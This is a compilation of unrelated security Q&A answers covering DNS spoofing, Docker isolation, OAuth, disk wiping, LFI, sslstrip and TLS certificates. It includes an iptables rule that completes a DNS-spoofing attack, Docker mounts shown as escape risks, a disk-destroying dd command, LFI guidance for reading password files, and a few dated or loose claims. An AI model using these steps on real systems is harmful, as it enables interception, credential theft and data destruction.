Finally, I got it!

Dnsspoof can't modify DNS packet, it can only send another prepared packet with spoofed address. But the real packet comes to victim as first and victim's computer take into consideration only it.

The solve our problem is blocking the real packet. I made this using iptables with specific address in hex:

# iptables --append FORWARD --match string --algo kmp --hex-string '|e1 e0 68 2d|' --jump DROP

You can find your website target ip in hex in Wireshark or another sniffer when you connect with server in correct way.

I know this isn't the best method but it works :)


Nessus and Nexpose are not open sourced. They do have free community versions though.

I have tried using OpenVAS, but i simply could not get it to work on my Backtrack installation. It is an active project though, which has regular updates.


Can malicious applications running inside a docker container still be harmful?

With Linux containers, the container shares the same kernel as the host. So any vulnerabilities in the host's kernel could be used to escape from the container as root. However, if you keep your system up to date, this is unlikely to be of concern.
The main things to be careful with Docker are:

Mounting filesystems in the container: If you map something like the host /etc as writable into the container, processes running as root in the container could mess with the host system's configuration and likely execute arbitrary code as root on the host. Mounting volumes can be performed with:
# docker run ... -v /etc:/mnt/etc ...

Allowing the container to access the Docker socket: This access allows a container to create and manipulate other containers, which can be useful in some cases. However, it allows the container to take advantage of #1 by mapping your root filesystem into a container, and modifying critical system files to gain code execution as root on the host. An example of this is:
# docker run ... -v /var/run/docker.sock:/var/run/docker.sock ...

If you are careful with the above, that eliminates a lot of risks for escape. Another solution is instead use Red Hat's Podman (no affiliation here) which is almost a 100% drop-in replacement, or another alternative. The advantage is that it does not run as root, unlike Docker, so any damage is limited to whatever user account created the container. Podman is compatible with the exact same CLI and container image repositories, and I think it even lets you still call it as docker, so there is no effort needed to switch.


Possible to receive welcome emails without visiting website?

There are a few ways this could be done.  Did you happen to be logged in to your google account while surfing these websites?  If so, the fact that you used Google to search anything could have been the cause.  Google uses your search criteria and even content of your emails to advertise to you, sometimes through 3rd pat affiliates that will send you emails .

Regardless, two things are for sure, this website is somehow affiliated with one of the sites you used and they've successfully acquired your information and search criteria to advertise to you.  This is the result of using free email services that nearly everyone uses these days.  Nothing is ever free online, you always pay for it somehow.


Including a OAuth client_secret file in a Java application

You should not include the client secret in a javascript/desktop/mobile application

The reason is, like you said, it's very easy to access. You cannot protect it if you embedded it into your application. Once an attacker find your client secret, he can now impersonate your client. The client secret is only meant to be included on web servers.

Use OAuth2 Implicit Flow

OAuth2 Implicit Flow was designed specially to solve that problem. In the implicit flow, there is no client secret and once a user authenticate with OAuth2 provider, the client will receive the access token directly hence no need for a client secret.

https://tools.ietf.org/html/rfc6749#section-1.3.2

Do not use Implicit Flow for Authentication

OAuth2 was built for authorization which is not the same as authentication. If you need authentication, you will need to look at Open ID Connect which is built on top of OAuth2 to provide all the missing parts needed for secure authentication.

About security

While it's recommended to use the Implicit Flow when using a javascript/desktop/mobile client, it's mostly for convenience to reduce the number of rounds trip required. Since you cannot protect the client secret, there is no reason to include it.

The one disadvantage of removing the client secret (and the extra step linked to it) is that the client cannot know anymore if the token was issued for him since tokens are not bound to a specific client. This leads to multiple opportunity for phishing attacks like described here :

https://tools.ietf.org/html/rfc6749#section-10.16


How difficult is it to determine whether an account got hacked or why do games allow account recovery while refusing to lift bans for hackers' deeds?

Does the policy not to lift bans issued for hackers' behaviours arise from the difficulty of determining whether the account was indeed hacked?

Based on the log data a service like League of Legends is going to collect and store, it is impossible to distinguish between multiple users of a single account.

That's not the reason for the policy though. Policies like this get enacted because people like to externalize their problems and, more importantly, lie.

Someone guessed/obtained your password and used your account to test out hacks? Your negligence created problems for other players. The evidence suggests it was you. You can't prove it wasn't. You don't get to have an account if you can't be trusted to secure it.

With or without your consent, your say your brother used your account and went on a racist tirade in-game? That sucks, but damage was done. Even if you weren't the one doing it, you allowed it to happen, and there are consequences for this. You don't get to have an account if you're going to share it or leave it logged in on an unlocked workstation.

At the end of the day they're providing you credentials to their network to access a service they provide for commercial gain. If the provider determines you're more trouble than you're worth because your drama impacts their image or revenue, they're entirely within their rights to not let you participate. What's "fair" is not a factor in this equation. Justified or not, banning one problematic player costs less than giving them the chance to drive away other paying customers through cheating or spree trolling.

But these tales usually fall into one of two categories-- unverifiable or BS. Everybody lies. Cases like this or this or just about everything here are more indicative of what turns up when time is spent actually looking into it.

  If the above is true, is it more difficult to determine whether the account was used by its legitimate owner on a given occasion than who is the legitimate owner and whether its current user is the legimitate owner (since support does trouble itself with account recovery)?

It is impossible to distinguish legit owners from imposters; that's why shared accounts are generally banned on networks. One can try to make some educated guesses at best but it's still weak evidence that is easily falsified (just use a VPN when you want to do some trolling so the geodata doesn't match your established history, then claim it was a hacker). More trouble than it's worth. The ban button is just one click away.


Veracrypt container dismounted... chances the master key still in RAM or that it can be decrypted by someone after some hours?

I have not personally verified this but according to Veracrypt Sourceforge:

When the volume is dismounted, we securely wipe the encrypted master
keys from memory.

When Windows is shutdown or rebooted, we securely wipe the large
memory region that was allocated at startup.

My interpretation is that recovering the keys after dismount would be unlikely.


Which security measures does PyPI and similar third-party software repositories take?

I actually wrote a blog post on this topic recently.

To answer your points:

  How does PyPI prevent people from uploading malware?

It doesn't. Any Python code can be uploaded. Arbitrary code execution is possible during package installation. Audit your dependencies carefully.

  When I am searching for software, how can I be (more) sure that it is not malware?

Download the tarball and look at the code.

  What can I, as a developer of packages, do to make others feel more save using my packages?

If your users trust you, PyPI works perfectly fine. Packages are served over HTTPS and checksums are available to verify against.

  Are there "historic" examples of malware in the repositories? How much harm did they do?

I'm not aware of any historic examples but I can easily upload a demo package. PyPI doesn't do anything to prevent this. It acts as a simple index of Python packages, it is up to the users which developers they trust.


Connection timeout error using HTTP Status Code Checkers on a website

Without seeing the internals of Best Buy's network and their firewall/network device configuration it would be hard/impossible to come to a definitive answer for this.

With that said, we could speculate about possibilities.

you've already eliminated possible problems with request headers by trying a variety of options.

The most likely alternative, to me, would be that the application is filtering based on the source IP address of the request.

I notice when I visit that page from the UK that it asks which country I'm from, recognizing that I'm not in the USA/Canada/Mexico.  So it's likely that they're using some form of GeoIP lookup database to establish that fact.

It could be that their system is doing additional checking on the source IP addresses used to contact it and is recognizing that they're not from ranges belonging to residential ISPs in the US (I'd expect most of these services to be hosted in a hosting company/cloud company network somewhere).

As it could determine that the source IP address is unlikely to be a real customer at that point, it could choose to block it.

Now this could very well not be the case, however if they're not filtering based on something in the request format, the other piece of information that they could be making a choice based on would be source IP address.


Is ASP.net More Secure than PHP in GENERAL?

Your question is a bit too broad and a bit opinion-based. That's why this is not a full answer.

PHP has its downsides, and so pretty much every other language. Intrinsically, PHP isn't tangibly less secure than other languages in the same field. PHP has its built-in database abstraction layer PDO that has anti-SQL-injection features such as parameterized queries. PHP also has many security-oriented libraries and frameworks that handles everything from XSS protection to CSRF protection. Other languages have similar features.

In an of itself, PHP isn't weaker than other languages. The issue with PHP is its release cycle, its interpreter's some-time-incompetent developers, and the abundance of wrong and misleading information on the web.

Bottom line is: An incompetent developer will write an insecure application whether with PHP, .Net, or Python. A competent developer will write a relatively secure application with any language they choose, but with PHP it's gonna be slightly more difficult (only slightly).


How might a PIN based Web authentication scheme work?

Your question seems to be both about, what does Facebook do, and what could be done. I don't know what FB does, but I can try to make some good guesses at what makes a secure system. I hope that helps.

Let me try to rephrase what Facebook is doing. Sites typically support a single factor of authentication, something you know (ie: your password). Sites that support a "remember me" functionality, use the something you have factor (the "something" is the cookie in your browser). This can be weaker as anyone with access to your browser, even a remote attacker, can now log in as you. But not having to type your password every time you access a site, especially if you have a strong password, is a hassle. So Facebook is choosing a middle-ground, basically having a two-factor "remember me" feature where you need the nonce (something you have) and your PIN (something you know).

  What might the server be storing? A hash of the nonce + PIN?

It is very likely that Facebook is storing a hash of the nonce+PIN. Note that this could be a simple, secure hash instead of something like the more complex bcrypt password storage function. A hash such as SHA512 is irreversible when operated on large, cryptographically random data strings. The nonce is (presumably) such a random number.

  How might the server be validating PIN login attempts?

The server simply redoes the hash and compares it against the appropriate field in the database.

  Are there any reference implementations for a system like this that I could look at?

Not that I know of, maybe others can help.

  Assuming that the content stored in the browser is not taken by an attacker, is it possible for this system to be at least as secure as traditional username/password authentication? If not, what kind of attack would it be more vulnerable to?

If we make that really big and unfounded assumption, this system is more secure than regular uname/pwd as this has the effect of making the password the concatenation of a cryptographically secure random number, the nonce, and the PIN. Cryptographically secure random number passwords are very strong.

But, in the real world, browser data can never be assumed to be secure so the security of this mechanism boils down to the security of the PIN and nonce. That is difficult to put concretely. This is definitely more secure than simple "remember me" functionality. If your browser data is reasonably secure, this may be more secure than standard passwords. Otherwise, standard passwords may be more secure. In almost any situation, this beats weak passwords because of the something you have factor.

Some points of note:

The server must perform the hash. If the client were to do the hash, then a stolen database table could be used as login credentials. This can't happen with the server performing the hash because the hash is irreversible.
Extra security could be added by using a password storage function such as bcrypt instead of a standard hash. This is only needed if you use a shorter nonce. Longer nonces will provide sufficient protection against a brute-force attack, even with a simple SHA512 (or similar) being used.
I think it makes sense to record failed attempts at PIN logins and, after say 3 failed attempts, delete the PIN login from your database and force the user to login with their password. This provides a lot of protection against a dictionary search for the PIN, even in the face of a leaked nonce, as the PIN will be rendered useless. Even if the user reuses the same number as a new PIN on their next login, they will get a new nonce that an attacker will need to steal to try more PIN possibilities.


Should a secure ATA erase be performed on a non-SSD drive?

Given that the device is not a solid state drive, should a secure ATA erase still be performed?

If you want to erase the data, you can use ATA Secure Erase. It is not meant only for solid state drives and works fine on spinning rust. It takes a lot longer than on SSDs because hard drives are less likely to support SED, which allows instant erasure by destroying an encryption key.

Whether or not you use the firmware's secure erasure or erase the block device is something that is up to you. Both options come with advantages and disadvantages. For example, ATA Secure Erase is designed to erase areas of the drive that may not be touched by writing to the block device, such as damaged sectors and the HPA (Host Protected Area). On the other hand, any erasure implemented in firmware may be broken or implemented incorrectly, as you have no ability to easily tell how it is performing erasure. If you have time, you can perform both methods to get the best of both.

  Would shred --verbose --random-source=/dev/urandom -n1 /dev/sda support the same or a similar outcome i.e. irrecoverable data including defective or deallocated sectors?

No, that would not erase damaged sectors, nor would it erase areas of the disk like the HPA. Note that the command you gave is functionally equivalent to cat /dev/urandom > /dev/sda. You can, however, use smartmontools to determine how many damaged sectors your drive is reporting. If the value is zero, then every accessible sector can be wiped just by writing to the block device.

If you want to overwrite the block device, you can do so with dd:

dd if=/dev/urandom of=/dev/sda bs=256k conv=fsync

This will write random data to the block device, and will sync the changes as soon as it has completed. On older Linux kernels, the random driver is very slow, in which case you should use other sources of randomness, for example creating an encrypted device with cryptsetup and writing zeros to it.

In the future, there is a technique you should utilize to ensure you are not put into this position again. You should use full disk encryption with something like LUKS, which keeps the randomly-generated master password on the drive, encrypted with a user password you specify. Simply overwriting the encrypted master password is sufficient to render all other data on the drive completely irrecoverable. This works for hard drives where there is no wear leveling in place. On solid state drives, this will not work.


Can I trust public socks4 proxy when using only HTTPS?

As long as you are using TLS (HTTPS), you will be safe from tampering and sniffing. But beware that it could read and tamper with data from any site that does not use properly-configured TLS. The proxy will also be able to see what sites you visit and for how long, but won't be able to view what you send.
For the purpose of evading censorship and simple throttling, you could also use an encrypted VPN.


How can I write a function that will log a user in an old system without knowing any username or password?

Judging from the information that you have been provided with, the question relates to LFI (local file inclusion).
Apparently the credentails are stored on the filesystem (/userdata/passwords/).
The question seems to be unrelated to the topic that you have been researching, which is SQL injection. The latter would only be an option if the credentials were stored in a DB, which is obviously not the case.
In order to proceed, I'd recommend you to gather all the information that you can get from your question, and research LFI.
Once you have found the LFI vulnerability, read /system/version.txt (as part of your enumeration, this might give you more insight into further attack vectors) and try to read /userdata/passwords/ (or bruteforce files within that folder) and you'll have a chance to get user credentials.


bit.ly itself does not distribute malware, bit.ly is just an URL shortener service which allows you to mask/shorten your original URL.
bit.ly however is not only used for good reasons (shortener) and for marketing reasons (click tracking).

You have to think about scam and phishing websites as well, which often use bit.ly to hide their domain which otherwise would be blacklisted automatically by filter programs (or to override blacklists). This simple act of piggybacking hurts bit.ly because it offers a simple redirection, and Google interprets this (probably it has been triggered automatically from their systems) as bit.ly being part of a malware network.

This can be easily confirmed if you visit the Google Safe browsing diagnostic page for bit.ly

  Of the 91854 pages we tested on the site over the past 90 days, 669
  page(s) resulted in malicious software being downloaded and installed
  without user consent. The last time Google visited this site was on
  2014-10-24, and the last time suspicious content was found on this
  site was on 2014-10-24. Malicious software includes 200 trojan(s), 185
  exploit(s), 152 scripting exploit(s). Successful infection resulted in
  an average of 3 new process(es) on the target machine.

  Malicious software is hosted on 365 domain(s), including
  xxxx.mobi/, xxxx.net/, xxxx.com/.

As you can see, Google associates bit.ly with each of these single domains.

To answer your question, you shouldn't worry about the bit.ly website itself and you can browse it safely, however when clicking to a shortened URL there's generally no way (for bit.ly specifically there's a way, check Sumurai8's comment below) to prevent you being warped into a scamming/phishing site.

You can take precautionary measures by using various extensions on your browser, especially ones which allows you to prevent to run javascript on unknown pages, adblock might be a good thing also to prevent scammers to generate any income from banners/ads placed on the malicious site. You can also block and analyze the bit.ly redirection before it triggers on your browser, so you can know which URL you are going to be redirected to.

On a rule of thumb I'll generally recommend the following:

Triple check the address bar, specifically the domain of the website
Check again on google if not sure
If it's a suspicious and dodgy page, leave and never come back, it might be good if you can blacklist and block it from being accessed again.
Don't download warez and free programs promising you hot girls, money or whatsoever.
For whatever service you use on the internet, if it involves serious personal stuff always use if possible a 2-way factor authenticator by attaching it to your mobile, this might dampen the probabilities from being scammed.


In two step authentication, should I check step 1 before proceeding to step 2 or check both at the end?

Don't do this!  This is stupid.  If it is a client requirement, push back on the client.  You are supposed to be the expert.  Tell the client when they are doing something that doesn't serve their interests.  This is simply an elaborate single factor authentication and provides absolutely zero additional security over a slightly longer password requirement.

The client may think that this is a second factor, but it is not.  For two factor authentication it must be two DIFFERENT factors from something you have, something you know and something you are.  These are both something you know, so no additional security is provided beyond the extra characters on the password, it is just a little more convenient that having to type the entire phrase (which is basically a long but very weakly chosen password).  It also has no impact on preventing hash attacks against the stored password (and online brute force shouldn't be possible due to account lock outs.)

If the client still wants this despite the lack of any actual security benefit, I don't see any way not to do it as two steps since, as you point out, you don't know how many characters to choose from unless you know the length of the phrase that it is going to be working off of and hopefully at least the secret phrase is protected by their password (though I somehow doubt it).


It can be two possibilities:

Someone tried to create a new account and enable the 2 Factor Authentication but he enter the wrong phone number. So you receive the sms.
Someone have your password and tried to log in to your account but thanks to your 2 Factor Authentication he can't.

You can try to put your email address here to know if your email address is in public leak.

If you still receive these sms in a few days, you could change your password and security questions to be sure.


As the connection is transient, using netstat or similar wont be an option.

If you know at least the name of the executable and/or the destination IP address it connects to, you can run WireShark to capture the traffic.

Although WireShark is confusing to begin with, all you need is the port details which won't be too hard to get.

You need to install WireShark (it will likely want you to install another small app, pcap, that allows it to talk in a special way to the network card). Run it and configure it to only capture data for the single executable and the destination IP address if you know it. Otherwise you will get too much confusing detail to make anything out.

Job done.


Here is a link to a plethora of content (most if not all free). SANS has some pretty good content, but the best content you can provide is the one you create. This is because what you are looking for is so broad, it will be too much for the average person to swallow, which will ultimately defeat the point.

There is NIST SP800-50, but again, these tend to be so broad, they become 1) boring and 2) ignored. It helps immensely to personalize training around your business, not what others have made for theirs (NIST, CoBIT, ITIL) since all businesses have different goals, objectives, etc. What I have found, is that building one's own, and sending out N amount of reminders via say e-mail, works best.

I will share a story with you I had when I went for a pentest to a financial reporting company. Upon entering a company in MA, higher level management was skeptical of MOST security concepts. I explained things in analogies which helped them 'get it'. After discussing things for about an hour, they showed me a life-sized cut out poster of someone standing behind someone else holding a gun. It was a cartoony/video game like poster, but menacing. The intended message was: "this armed guy you don't see wants your password." The conveyed messages: 1) Hackers are gonna kill us 2) Security is blown out of proportion, no hackers run around with guns 3) What video game is that from?

Analogies work wonders. The average colleague is not going to immerse themselves on things like: AV*EF, Cipher-block Chaining, differences between EDE EEE, etc., however if you format it in a way that makes sense, and can carry over OUTSIDE OF WORK (e.g., how it can help keep their personal bank accounts, and personal info safe), it will work 1000x better.


Implementing 2-step verification via email for web apps?

See If I include a Forgot Password service, then what's the point of using a password?.  That question considers whether we can use a "I forgot my password; please email me a reset code" function as the main way of logging into your account.  The issues are similar.

In particular, the primary drawback is that, from a usability perspective, it may be annoying to have to wait for the email to show up each time the user logs in.

From a security perspective, it is (in my opinion) a reasonable approach, though not perfect.  The primary security drawback is that the user's email account becomes a major risk: if the user's email account is hacked, the attacker may be able to gain access to the account (e.g., if the user uses the same password for the email account and for their account on your service).
Moreover, the way you handle password reset becomes security-critical.  If you follow the standard practice of just emailing the user a reset link, then you've created a major weakness in your system: this makes it easy for an attacker who has compromised the user's email account to then steal the user's account on your service, with no guessing, by using your password reset process.

By the way, this is not really 2-factor authentication.  Don't expect this to provide the same level of security as true 2-factor authentication, like Google's SMS/voice verification.  For instance, if someone gets access to the user's computer (e.g., the user's computer is stolen; the user's roommate is playing tricks on the user), then that person will be able to get access to the user's account on your service.

P.S. See also What problems does this “recover account” procedure have?, Password sent via email upon registration, Email forgotten password or send reset link, both just as insecure?.  And I recommend using SSL sitewide if you can.


Disclaimer: The scenario described is quite generic in terms of licensing of the said software, therefore I will consider it as open-source, where the provider is not legally bound to how the software is used, nor the consequences of misconfigurations.
A valid approach would be to deliver the application only with HTTP enabled, and also provide the necessary documentation on how to configure HTTPS, leaving the choice and responsibility in the hands of the system administrator.
The company I work for operates in this exact scheme, and it enables the customers to easily run and test the application since HTTPS is not required, whilst properly guiding customers/system administrators on how to configure HTTPS, that is always a requirement for production environments.


Does "heartbeat extension disabled" mean that the site was previously vulnerable?

No. "Disabled" means here that the client announced support of the heartbeat extension, and the server failed to respond with "hey, I know that one too ! Let's heartbeat together !".

This term does not mean that the heartbeat extension was supported, but then removed in some way. This information is not accessible from the outside. All that can be known is whether the server currently appears to handle heartbeats, or not.

Since Linux distributions promptly pushed fixes through normal security update mechanisms (as befits the case), it is expected that any decently managed server has been fixed by now, or soon will be. Servers which have the bug and keep on having it are servers which are poorly maintained, meaning that they quite probably already have bigger security holes.


JWT Token Stored in /data/data//shared_prefs - Android App

This is fine and is about as good as you can get on Android. Unlike iOS, there is no secret storage mechanism (Keychain) and instead devs are to rely on sandboxing to protect secrets. The /data/data/<app> directory when stored on internal storage is protected from other applications reading it through sandbox restrictions. If this data is written to the app's external storage folder (which SharedPreferences does not do), other apps can freely read the secrets. Since that isn't happening here though, the secret is safe.

See https://developer.android.com/training/articles/security-tips for more info.


Is it preferable to perform encryption using database functions or code?

The algorithms provided are almost the same.  The choice would depend on your use cases.  Some things to consider:

If the encryption is on the servers side, considering encryption at the client
side to avoid cleartext transmission over the wire.
Deciding on reversible or non-reversible encryption based on type of data.
In the case of non-reversible encryption, is hashing just to avoid
tampering or using hashing as a subsequent comparison?


Failed RDP brute force attack from Microsoft IP address?

As SteveS points out below, it is possible that this is a misbehaving Azure server.  Azure is a cloud server platform that Microsoft runs.  This would also mean that you should really contact the two e-mails on the reverse look-up record.  Microsoft would want to know about it whether it is Azure being abused or one of the other problems I originally mentioned.

The only thing that comes to mind is that if the packet that is sent to RDP is significantly shorter than the packet that the RDP server responds with, it is possible this is a ping of death style DOS attack being carried out against Microsoft.  Basically the principal is that the attacker makes a small falsified request to one server to get that server to respond to the target with a much larger amount of information.  The original ping of death was setting up two servers so that they would constantly interpret the response as a request and respond, which made an infinite loop that would bring one or both victim servers down.  There likely isn't a loop condition here, but it is at least one possibility.

That or Microsoft actually has a compromised system in their network and is being used as a bot, which is also entirely possible.

I'm not aware of any general, legit reason why Microsoft would be trying to connect to your RDP.  I'd recommend contacting the abuse or iprrms addresses and see what they say.


How does brainstorming look like for a team like Google's "Project Zero"

Your question is too broad and not really related to security, but as a general rule, if you want to discover unique things, you must follow the special path of out-of-box thinking.

From a team's leadership perspective, each opinion is considered, each scenario checked no matter how strange it may seem. If fact, the strangest the idea, the higher the priority it should have.

From a team member's perspective, you must do exactly what noone else expects, tries or even thinks to do.

So a bunch of very good people are not enough, not even close to enough. You need members that are used to innovations, you need them to work both as a team and independently and you need to properly lead them.


WireGuard VPN: how safe is it for production in its current state?

Well, I'm actually excited about WireGuard too. There is already Android, macOS, Windows(third party - closed source) and OpenBSD clients, showing that the project have a solid future ahead. Tight integration with ip-link also seems a bonus and configuration is a no-brainer.
But if you take a look at the homepage, specially the "About Project" section, you will see a warning about using it on production:

About The Project
Work in Progress
WireGuard is not yet complete. You should not rely on this code. It
has not undergone proper degrees of security auditing and the protocol
is still subject to change. We're working toward a stable 1.0 release,
but that time has not yet come. There are experimental snapshots
tagged with "0.0.YYYYMMDD", but these should not be considered real
releases and they may contain security vulnerabilities (which would
not be eligible for CVEs, since this is pre-release snapshot
software). If you are packaging WireGuard, you must keep up to date
with the snapshots.
However, if you're interested in helping out, we could really use your
help and we readily welcome any form of feedback and review. There's
currently quite a bit of work to do on the project todo list, and the
more folks testing this out, the better.

Basically this project could have CVEs and it is under heavy development and constant change. Maybe it's not suitable to your organization. Also, no opensource Windows client, and a client that relies on tun/tap devices kludge.


HSTS and TLS redirection: What is the correct order?

At least historically, the HSTS Preload site required that HTTP requests must redirect to HTTPS before doing anything else. As such, the order given in your second block is correct. In particular, the redirect to HTTPS must occur before any other redirects (such as to a www. subdomain, or expanding a shortened URL to its full form).

Sending HSTS headers in non-HTTP requests is only an issue for non-compliant clients. A standards-compliant client will ignore all HSTS headers in insecure responses. With that said, the preload site absolutely should not expect the header in an HTTP response. Given that fact, I suspect that you've broken your HSTS header response somehow. Since you didn't give us the domain to test with ourselves, you should send requests to the domain in question - from the Internet side, not the local network or loopback address, in case you configuration differs between them - and verify that the Strict-Transport-Security header is present and correct on the HTTPS responses (use the browser dev tools, an intercepting proxy, or something like curl -v to check this).


Selective JavaScript commands - Avoiding vulnerabilities exploitation

JavaScript itself is not dangerous, the complexity of modern browsers and consequentially the bugs introduce are. But of course JavaScript is one common way to exploit these bugs.

Limiting the usage and/or execution of scripts increases the security, there are different ways to do that. Browser configuration allows you to completely deactivate scripts or allow only certain permissions (e.g. download fonts). This might or might not be away to increase security depending how the check works. It would not be a good measurement if the script is executed and checked in between, it should be analyzed before execution.
This is why extensions/plug-ins like NoScript exist that let you decide what scripts from what source should be allowed. This happens before loading the script and has very detailed and easy configuration.
In general all browsers try to protect against basic security problems like XSS (Cross Site Scripting) or drive-by downloads. But that is often not enough and additional measurements are necessary.

NoScript specifically lets you decide what tags in html are allowed, filters them. You are able to white- and black-list websites, recognizes XSS, can enforce ABE and many more things.

There might be other ways to effectively minimize script execution, but this is the I personally think is the best trade-off between completely disabling scripts (which would break almost every modern website) or allowing everything.

There may be other extensions besides NoScript with similar functions, but I haven't used them and can't give other recommendations.


High-latency anonymous communication minimum delay?

I finally found a paper, Message Splitting Against the Partial Adversary,  on this topic, thanks to Prof. Murdoch.

For Mixminion, minimum delays seems to be 4.8 minutes and it is dependant on the numbers of messages into the mix.


You can’t secure a static barcode against copying. It’s not possible.

What you need to protect against this kind of attack is to have the customer enter/scan something dynamic. It has to be changed every time it’s used; it has to change in an unpredictable manner, so that dishonest customers can’t make up a value and fool it; and the back end system must refuse to accept multiple scans of the same code.

One way to do this is to display the QR code on a tablet mounted on the counter. Every time a customer scans it and their app posts a message back to the server, it validates the current code and then changes the QR code to show a new random number to the next customer.

This needs more security, of course. You have to somehow limit your customer records so he can’t just scan 10 barcodes in a row in one minute. You could solve this by only displaying a QR code after the cash register receives payment. Or you could limit the customer record to ignore multiple scans within a 30 minute window.

You could have the cash register print unique barcodes on the receipts, but thieves will pick up discarded receipts from the trash and scan them. It takes sophisticated back end logic to detect this kind of fraud.


Are there any known attacks for a laptop with the wifi connection turned off?

If it is turned off in software, it isn't listening for anything and may very well even be powered off.  There would be no way for someone to attack it since it wouldn't respond to any attempt to connect with it.  It wouldn't even be listening.


Is Verizon Still Injecting Perma-Cookies into Customer Traffic?

Despite a 2016 FTC settlement against an advertiser abusing the X-UIDH header and a 2016 FCC settlement (PDF) with Verizon, Verizon's legal pages indicate that it is still in use in some circumstances.

There have been changes to FCC rules within the past couple of years, impact on this issue unknown.

There are some user controls in the form of opt-outs and opt-ins to various Verizon advertising preferences that affect the X-UIDH header:

  Verizon Wireless stops inserting the UIDH after you opt out of the
  Relevant Mobile Advertising program, unless you have also opted in to
  the Selects advertising program. The UIDH will continue to appear for
  a short period of time while we are updating our systems. If you
  choose to participate in Verizon Selects, the UIDH will be present
  even if you have also opted-out of the Relevant Mobile Advertising
  program.

It's only possible for Verizon to inject the header on HTTP traffic. HTTPS (try EFF's HTTPS Everywhere browser add-on to use as much HTTPS as possible), or Tor, or a VPN, will block this behavior.

You can check for the X-UIDH header on any unencrypted (HTTP; not HTTPS) website that displays all of your HTTP request headers.


Reference "non-secured" web application?

WebGoat
Multidillae
Samurai Dojo
Google Gruyere
Damn Vulnerable Web Application (DVWA)
Hack Yourself First


Is there a secure way to share a PGP key for use with security.txt?

One way I would suggest is sharing the Encryption subkey among the members of the security team, but not the Certify ("master") nor Sign subkeys. This way every member of the team can decrypt the messages sent to the email address listed in security.txt, but not send signed email back. The Certify and Sign subkeys can be kept on a vault system, which can be used for the purposes of the following:

signing official communication
revoking the shared Encryption subkey and creating a new one in case a member of the group leaves

The vault system can have those subkeys on some kind of HSM that can't be physically removed; similarly, either the system itself or the room where it's kept must require multiple people present in order to operate.


Does SSLSTRIP in MITMF only works when the victim visits for the first time?

I do understand that sslstrip wont work on HSTS websites but will it work without having the victim to clear their cookies first?

This is completely unrelated to cookies.

SSLStrip works as long the browser thinks that the site can be accessed by plain HTTP. If the site response with HSTS or has pre-loaded HSTS  the browser knows to access the site next time or even first time with HTTPS.

Similar if the site issues a 301 permanent redirect to HTTPS the browser will next time skip the plain HTTP request and access this new HTTPS-URL directly (affects only the specific URL and not the whole site). I think you are confusing this 301 with the cookies.


Is it acceptable security practice to display password in plain text on a website?

Yes, there are definitely some issues:

Shoulder surfing: There is a reason that password fields use stars. It's so that people who are nearby cannot see the password. Showing the password in plaintext on the screen obviously defeats this, and this is really the main downside of this approach.
Caching: The response may be cached by the browser. Setting appropriate headers can mitigate this.
It lowers the perceived security of the site, which isn't good. It may also have a negative psychological effect (if the site isn't careful with the password, why should the user be?).

  they don't use client-side password hashing. I was surprised; I thought it was normal industry practice for sensitive services. Is it not the case?

No, client-side hashing is not standard, mainly because it doesn't add much.

The password should already be protected in transport via HTTPS (and hashing wouldn't secure transport anyways).

It may seem that client-side hashing could turn a weak password into a strong password (eg password -> 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8), but any attacker would just need to take the client hashing into account and chain client- and server-hashing when cracking the password.


Is it possible to do SQL injection (HIGH Level) on Damn Vulnerable Web App?

The ‘high’ example is not exploitable. It's not a good approach (in modern code you would use parameterisation instead of calling mysql_real_escape_string, and stripslashes is a relic of an era of magical quotes that is thankfully over), but it is designed not to be immediately vulnerable.

(To SQL injection anyway. It is vulnerable to HTML-injection leading to XSS issues, thanks to those horrible echos, but that's another story.)

  How come it was so easy to bypass mysql_real_escape string? [in the Medium example]

Because mysql_real_escape_string is designed to escape characters for safety when included in an SQL string literal context. Without any surrounding single quotes in the query's injection point, you're not in a string literal context, you're in a raw SQL context.


VPN stands for Virtual Private Network. A real VPN works like a virtual network interface and transports any kind of traffic, i.e. TCP, UDP, ICMP.. . In this case it does not matter which protocol is used by the VPN itself.

But note that some products are called VPN even if they are not handling all network protocols but only deal with some protocols. For instance Opera VPN is just a proxy, which means that it only cares about traffic from the browser and not all the other traffic at the system (like traffic from Skype).


Which key usages are required by each key exchange method?

The Key Usage extension is described in section 4.2.1.3 of X.509, with the following possible flags:

  KeyUsage ::= BIT STRING {
       digitalSignature        (0),
       nonRepudiation          (1), -- recent editions of X.509 have
                            -- renamed this bit to contentCommitment
       keyEncipherment         (2),
       dataEncipherment        (3),
       keyAgreement            (4),
       keyCertSign             (5),
       cRLSign                 (6),
       encipherOnly            (7),
       decipherOnly            (8) }

In SSL/TLS, when the server certificate contains a RSA key, then:

either a DHE or ECDHE cipher suite is used, in which case the RSA key is used for a signature (see section 7.4.3 of RFC 5246: the "Server Key Exchange" message); this exercises the digitalSignature key usage;
or "plain RSA" is used, with a random value (the 48-byte pre-master secret) being encrypted by the client with the server's public key (see section 7.4.7.1 of RFC 5246); this is right in the definition of the keyEncipherment key usage flag.

dataEncipherment does not apply, because what is encrypted is not directly meaningful data, but a value which is mostly generated randomly and used to derive symmetric keys. keyAgreement does not apply either, because that one is for key agreement algorithms which are not a case of asymmetric encryption (e.g. Diffie-Hellman). The keyAgreement usage flag would appear in a certificate which contains a DH key, not a RSA key. nonRepudiation is not used, because whatever is signed as part of a SSL/TLS key exchange cannot be used as proof for a third party (there is nothing in a SSL/TLS tunnel that the client could record and then use to convince a judge when tring to sue the server itself; the data which is exchanged within the tunnel is not signed by the server).

To sum up: digitalSignature for (EC)DHE cipher suites, keyEncipherment for plain RSA cipher suites. However, some implementations will also accept keyAgreement in lieu of keyEncipherment, or nonRepudiation even if digitalSignature is not set; and some will just totally ignore the Key Usage extension (even if marked critical). For maximum interoperability, specify all four flags in the Key Usage extension.


Signing actually means encrypting the hash of the message with the private key, so yes it's correct. That means you decrypt the hash with the sender's public key, therefore you can be certain the sender wrote that message (provided that the hash you compute matches the one you decrypt).


If the app's malicious payload copies itself to other apps or
documents on the device, it is a virus.
If the app spreads itself to other devices, but does not do so by "infecting" legitimate apps or documents, it is a worm
If the app relies on a human to install it, and then does some nasty stuff besides simply replicating itself, it is a trojan

Since Android apps are signed, it should probably be a little trickier to create a virus (though not a worm or trojan). Of course if the user enables "unknown sources", this won't help.


What are the advantage of running a penetration test through Docker?

You got it.  The primary benefit comes from having every new engagement start with a known fresh copy.

Everything is set up and ready to go.  You're guaranteed that nothing from previous engagements is still there.  (That could be a serious liability if confidential information leaked from one client to another).

Internally, you could have a tool which spins up a fresh testing platform, scans your network, sends a report, and then shuts down.


